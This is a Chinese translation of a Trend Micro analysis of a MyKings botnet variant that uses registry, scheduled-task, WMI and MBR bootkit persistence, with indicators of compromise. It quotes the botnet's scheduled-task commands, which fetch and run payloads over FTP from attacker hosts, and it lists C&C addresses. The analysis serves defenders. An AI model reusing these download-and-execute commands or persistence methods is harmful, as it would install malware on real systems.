剖析僵尸网络使用的多种持久化方法:MyKings新变种分析
2019-09-28 11:05:04 Author: www.4hou.com(查看原文) 阅读量:209 收藏

导语:5月,在亚太地区一家科技公司的可管理的检测与响应(Managed Detection and Response,MDR)服务中,我们发现了与永恒之蓝(EternalBlue)相关的可疑活动,发现了一个经常被用于进行WannaCry攻击的漏洞利用工具。

概述

5月,在亚太地区一家科技公司的可管理的检测与响应(Managed Detection and Response,MDR)服务中,我们发现了与永恒之蓝(EternalBlue)相关的可疑活动,发现了一个经常被用于进行WannaCry攻击的漏洞利用工具。在发现之后,我们向该公司发出了关于潜在威胁的警报。

几天之后,我们从该公司的一台主机上发现了与下述URL通信的流量,最终确认为恶意URL:

· hxxp://js[.]mykings.top:280/v[.]sct

· hxxp://js[.]mykings.top:280/helloworld[.]msi

URL中,包含关键词“mykings”,类似于我们在2017年8月对僵尸网络进行分析时所使用的命令和控制(C&C)服务器。这样一来,我们就有了一些可以进一步定位威胁的线索。

此外,根据对主机上系统注册表的修改,我们发现存在一些持久性机制。下面这些注册表项将负责前面所提到的URL的C&C回调:

· HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” -Name “start”

· HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” -Name “start1”

· HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg” -Name “start”

· HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg” -Name “start1”

经过深入挖掘后,我们发现这些条目是在2017年添加的,表明这些恶意软件变种在我们发现之前,已经在公司的系统中隐藏了大约2年的时间。而正因如此,我们面临了更大的挑战,因为时间对于确定MyKings的实际Payload来说非常关键。大量的僵尸网络组件,包括对C&C服务器和下载URL的引用都只能在短时间内访问,非常不稳定。与一般情况下以嵌入式URL和嵌入式文件为主的感染方式不同,MyKings通过脚本捆绑在一起,从远程服务器下载所需的一些内容。

在2017年添加的注册表项:

1.png

在进行调查取证期间,我们还确认了与此前研究一致的其他几种持久性机制。除了自动运行注册表之外,我们还观察了计划任务和Windows Management Instrumentation(WMI)对象,具体信息如下。

任务计划和相应的启动字符串:

(1)任务名称:Mysa

启动字符串:cmd
/c echo open down[.]mysking[.]info>s&echo test>>s&echo
1433>>s&echo binary>>s&echo get
a.exe>>s&echo bye>>s&ftp -s:s&a.exe”}

(2)任务名称:Mysa1

启动字符串:rundll32.exe c:\\windows\\debug\\item.dat

(3)任务名称:Mysa2

启动字符串:cmd
/c echo open ftp[.]ftp0118[.]info>p&echo test>>p&echo
1433>>p&echo get s.dat
c:\\windows\\debug\\item.dat>>p&echo bye>>p&ftp
-s:p”}

(4)任务名称:Mysa3

启动字符串:cmd /c echo open
ftp[.]ftp0118[.]info>ps&echo test>>ps&echo
1433>>ps&echo get s.rar
c:\\windows\\help\\lsmosee.exe>>ps&echo bye>>ps&ftp
-s:ps&c:\\windows\\help\\lsmosee.exe”}

(5)任务名称:ok

启动字符串:rundll32.exe c:\\windows\\debug\\ok.dat

WMI对象及详细信息:

(1)WMI对象:__EventConsumer

名称:fuckyoumm2_consumer

EventConsumer代码截图:

2.png

(2)WMI对象:__EventFilter

名称:fuckyoumm2_filter

查询:select * from __timerevent where timerid=”fuckyoumm2_itimer”

(3)WMI对象:__FilterToConsumerBinding

说明:__FilterToConsumerBinding.Consumer=”\\\\.\\root\\subscription:ActiveScriptEventConsumer.Name=

\”fuckyoumm2_consumer\””,Filter=”\\\\.\\root\\subscription:__EventFilter.Name=\”fuckyoumm2_filter\””

经过分析,我们发现该变种保留了其基本的基础设施,但有一些值得关注的新增功能,我们将在后面的技术分析章节详细讨论。

确认攻击的上下文环境

如今,随着僵尸网络的迅速扩散,它已逐渐成为最严重的网络安全问题之一。截止2018年初,仅MyKings就已经感染了超过500000台主机,并获取了价值230万美元的加密货币。在接下来的几个月中,MyKings不断改变其攻击目标和感染方式。

根据我们在2017年的区域数据显示,当年大部分感染活动都发生在亚太地区。根据攻击时间表明,该恶意软件可能是2017年某个恶意活动中的组成部分。

要排查该恶意活动,我们面临的主要挑战之一就是将所有看似“风马牛不相及”的指标拼凑在一起,以便更清楚地了解攻击的全貌。由于感染发生在2017年,这意味着恶意软件有足够的时间来执行其例程,并提供各种Payload,这使事情变得更加复杂。

如果是不具备MyKings相关经验或知识的研究人员,在查看网络传感器时,很可能会怀疑目标受到了来自不同威胁行为者的多种恶意软件类型的攻击。从下图中可以看出,该攻击使用了不同类型的恶意软件,例如后门、加密货币挖掘工具和木马。

Trend Micro Deep Discovery设备仪表盘上展现的攻击:

3.png

此外,MyKings存在多种持久性机制,因此很难从受感染的计算机中移除。我们将在下一节中详细阐述。

技术分析

(1) 使用bootkit进行持久化

当我们在2017年首次调查MyKings时,我们关注的是投放加密货币挖掘工具的僵尸网络恶意软件是如何利用WMI来实现持久性的。类似于Mirai,MyKings似乎不断改变其感染程序。我们在此次应急中分析的变种不仅仅具有一种保持持久性的方法,而是具有多种。除了WMI之外,它似乎还使用了注册表、任务计划和bootkit,其中最值得关注的是bootkit,Trend
Micro将其检测为Trojan.Win32.FUGRAFA.AB。

Bootkit通常使用文件名lsmosee.exe或s.rar。根据今年的报告,该代码也在ok.exe可执行文件中发现,但我们无法验证这一点,因为在我们进行调查时,相应的URL已经无法访问。它将首先获取硬盘的句柄,并检查通常会包含MBR的第一个扇区,然后检查其代码是否已经写入磁盘中。

bootkit对MBR进行检查:

4.png

接下来,将会检查MBR中是否已经感染了其他bootkit,并会尝试在继续修改之前重置MBR。随后,bootkit将原始MBR复制到第二个扇区,使用自己的引导代码覆盖现有的MBR,然后继续在磁盘上写入其余的代码,确保在引导时能够运行。

(2) 内核模式例程

Bootkit将首先读取位于第三个扇区的代码,并将其加载到更高的地址,在此示例中为0x8f000。恶意代码总共分布在60个扇区之中。

代码分布在60个扇区之中:

5.png

启动代码的主要目的是增加持久性和进行自我保护。它还通过异步过程调用(APC)注入将恶意软件代码写入用户域进程中。为此,它首先会在中断描述符表(如下图所示)中更改INT 15的地址,以便在调用INT 15时将执行重定向到0x8F00:0x0247。

在中断描述符表中更改INT 15的地址:

6.png

在此例程之后,在启动系统之前运行位于第二扇区中的原始MBR。

一旦调用INT15(最有可能在系统引导的过程中发生),恶意软件的引导代码将通过更改其他几个内核级函数来进一步实现。最终,它将执行APC注入,并将结束下面列出的所有反病毒进程。

引导加载程序结束的进程列表:

1.png

根据不同的Windows版本,代码将注入到不同的位置,其中包括winlogon、文件资源管理器或svchost。

注入到explorer.exe中的代码:

7.png

如果注入到上面的进程失败,则会注入到svchost.exe之中。

(3) 用户模式例程(winlogon.exe/explorer.exe/svchost.exe)

注入到用户域代码的主要作用是从恶意C&C服务器下载一段代码,C&C地址将从hxxp[://]www[.]upme0611[.]info/address[.]txt位置获得。address.txt的内容随时间而变化。在我们的测试过程期间,它主要包括以下内容:

[main]
count=6
ip1=http[://]208.110.71.194
ip2=http[://]80.85.152.247
ip3=http[://]66.117.2.182
ip4=http[://]70.39.124.70
ip5=http[://]150.107.76.227
ip6=http[://]103.213.246.23
[update]
count=6
ip1=http[://]208.110.71.194
ip2=http[://]80.85.152.247
ip3=http[://]66.117.2.182
ip4=http[://]70.39.124.70
ip5=http[://]150.107.76.227
ip6=http[://]103.213.246.23

在建立与C&C服务器的连接之后,从上述的某一个服务器下载TestMsg.tmp,这是由注入的进程执行的Shellcode。其中引用了cloud.txt,并包含以下文本,每次都有所不同:

[config]
url=about:blank
exe=http[://]185.22.172.13/upsupx.exe

文件upsupx.exe被下载并存储到主机上,随后在C:\Windows\Temp\中以conhost.exe执行。

(4) 主要下载工具(upsupx.exe/conhost.exe)

恶意软件变种为获取C&C服务器地址并下载其他Payload而发出的HTTP请求如下所示:

8.png

该过程中,会创建C:\Program Files\Common Files\xpdown.dat文件,其中包含C&C服务器列表。最初的列表如下:

· ok[.]xmr6b[.]ru

· 74[.]222[.]14[.]61

· 45[.]58[.]135[.]106

· 103[.]95[.]28[.]54

· 103[.]213[.]246[.]23

随后,它选择其中一个服务器来下载更新的xpdown.dat。我们分析发现,它从服务器45[.]58[.]135[.]106下载,其中列出了如下内容:

· Ok[.]xmr6b[.]ru

· 61

· 74[.]222[.]14[.]61

· 139[.]5[.]177[.]10

· 45[.]58[.]135[.]106

一旦选定服务器后,就会将HTTP请求发送到{server}/ok/down[.]html、{server}/ok/64[.]html和{server}/ok/vers[.]html,如下所示。

发送到其他服务器的HTTP请求:

9.png

我们使用32位主机进行测试,发现恶意软件继续从45[.]58[.]135[.]106进行下载。但是,下载服务器可能会根据受感染的计算机是32位还是64位而有所不同。

随后,将会下载kill.txt,在最终从downs.txt获取要下载并执行的文件列表前将检查是否存在该列表中的进程,并结束匹配的进程。

下载downs.txt:

10.png

我们对这些下载的文件进行了深入分析,发现其作用是在系统重启时重复感染周期。如果我们移除掉可见的持久性机制,并不会完全消除感染。Msief.exe是一个自解压的压缩包,其中包含一个名为c3.bat的批处理文件,该文件负责创建所有计划任务、WMI和注册表自动启动项。

如何使用可管理的检测与响应(MDR)发现MyKings僵尸网络

在实际场景中,Trend
Micro的可管理的检测与响应(Managed Detection and
Response)成为了一个关键的系统。MDR提供了调查事件、分析威胁的能力,并且更重要的是,可以将看似无关的指标关联起来,形成一个连贯的整体,有助于绘制出攻击的全貌。

特别是在这样的案例中,我们可以看到该系统的优势所在,在感染后的两年中都没有被发现。依靠我们的工具,再加之研究人员对于MyKings的了解,使我们能够快速识别出存在的威胁,并迅速为受影响的企业提供补救策略。

如果拥有具有丰富经验且擅长使用复杂安全工具的专业安全人员,可能会更快、更高效地识别感染链,并关联URL检测、漏洞利用、自动启动机制和恶意文件。下图说明了如何通过使用安全工具,用一些简洁的图表来描述出像MyKings这样复杂的僵尸网络。

Bootkit安装链展现出对DR0(MBR)的访问:

11.png

重新启动后的感染链,其中可以清晰看到WMIC.exe、schtasks.exe和reg.exe等持久性机制:

12.png

除了掌握内部和外部威胁情报资源之外,Trend Micro MDR团队还具备使用Trend Micro高级安全解决方案的经验,包括深度威胁发现系统,可以检测威胁在组织中的横向移动。

威胁指标

文件名:b2.exe / msief.exe

SHA-256:e8ddefd237646a47debc01df9aa02fbcae40686f96b7860511c73798c7546201

检测名称:Backdoor.Win32.MIRAI.THGBIAI

文件名:s / p

SHA-256:7a4f2f2702fababb0619556e67a41d0a09e01fbfdb84d47b4463decdbb360980

检测名称:BAT_DLOAD.SMJ

文件名:ps   

SHA-256:d5f907f9d2001ee5013c4c1af965467714bbc0928112e54ba35d142c8eab68bf 

检测名称:BAT_DLOAD.SMJ

文件名:upsupx.exe   

SHA-256:790c213e1227adefd2d564217de86ac9fe660946e1240b5415c55770a951abfd

检测名称:Coinminer.Win32.MALXMR.TIAOODBF

文件名:item.rar / item.dat

SHA-256:80f8ba7992a5dbaa4a2f76263258d5d7bf3bb8994f9e8a4a5294f70ab8e38ea4 

检测名称:Coinminer.Win32.WMINE.AA

文件名:ps   

SHA-256:ab26a859633d1ec68e021226fab47870ed78fc2e6a58c70a7a7060be51247c1d       

检测名称:Trojan.SH.BOTGET.AA

文件名:s.rar

SHA-256:a3bb132ab1ba3e706b90d6fb514504105f174c4e444e87be7bce1995f798044d       

检测名称:Trojan.Win32.FUGRAFA.AB

文件名:item.dat 

SHA-256:79bcb0b7ba00c4c65bf9b41cfe193fd917d92ab1d41456ac775836cec5cadc9a 

检测名称:Trojan.Win32.SYMMI.AA

本文翻译自:https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-a-mykings-variant-with-bootloader-persistence-via-managed-detection-and-response/如若转载,请注明原文地址: https://www.4hou.com/technology/19801.html


文章来源: https://www.4hou.com/technology/19801.html
如有侵权请联系:admin#unsafe.sh